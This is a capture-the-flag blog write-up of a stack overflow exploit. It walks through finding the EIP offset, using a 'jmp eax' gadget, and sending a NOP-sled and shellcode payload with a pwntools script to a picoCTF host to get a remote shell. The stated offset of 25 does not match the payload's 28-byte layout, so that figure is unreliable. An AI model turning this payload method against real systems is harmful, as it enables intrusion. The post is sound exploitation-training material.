Home > Blog > Oops, Your Control Flow Is Mine
Oops, Your Control Flow Is Mine
Posted: 2025-12-29 | Author: Siddharth | Category: CTF
Date: 2025-12-29 | Tags:

This challenge was a clean stack overflow chain: find EIP offset, redirect execution, and pop a shell.

1) Find the EIP offset

First, I sent oversized input and confirmed the crash was controllable. Then I used a cyclic pattern with GEF. At crash time, EIP held 0x61616168 ("haaa"), and pattern lookup mapped that value to offset 25. So byte 25 is where EIP gets overwritten.

gef➤ pattern create 500
gef➤ run < pattern.txt
...
EIP = 0x61616168 ("haaa")
gef➤ pattern search haaa
[+] Found at offset 25 (little-endian search) likely
Cyclic pattern analysis

2) Choose a control-transfer gadget

Next, I looked for a stable gadget and found jmp eax at 0x0805333b. That works well here because EAX already points into our input buffer during the crash.

So the plan is simple: overwrite EIP with 0x0805333b, hit jmp eax, and land directly in attacker-controlled bytes.

Jump to EAX instruction
Memory layout

3) Build payload

Payload layout: [NOP sled][short jump][jmp eax address][shellcode].

The NOP sled (0x90) gives a bit of landing room. The short jump skips over the packed return address so execution continues into shellcode cleanly.

import pwn

payload = b'\x90' * 26
payload += b'\xeb\x04'
payload += pwn.p32(0x0805333b)
payload += pwn.asm(pwn.shellcraft.i386.linux.sh())

with open("output.bin", "wb") as file:
    file.write(payload)

p = pwn.remote('saturn.picoctf.net', 61004)
p.sendline(payload)
p.interactive()

4) Trigger and interact

After sending the payload, execution flowed through jmp eax into shellcode and p.interactive() handed me the remote shell. Challenge solved.

Successful exploitation

Quick note: NOP sled, gadget, and control flow

The NOP sled is just a safety runway. Instead of needing one perfect jump target, you can land anywhere inside the sled and slide forward into shellcode.

In this challenge, the gadget is jmp eax. We set EIP to that gadget address, so execution first goes to jmp eax, then immediately to whatever address is in EAX (which points into our payload).

So the execution flow is: vulnerable input -> EIP overwrite -> jmp eax gadget -> NOP sled -> shellcode -> shell. Not full ROP chaining here, but the same idea: use existing code in the binary to redirect control where you want.

Start
🎵 now playing: ruby
12:00 PM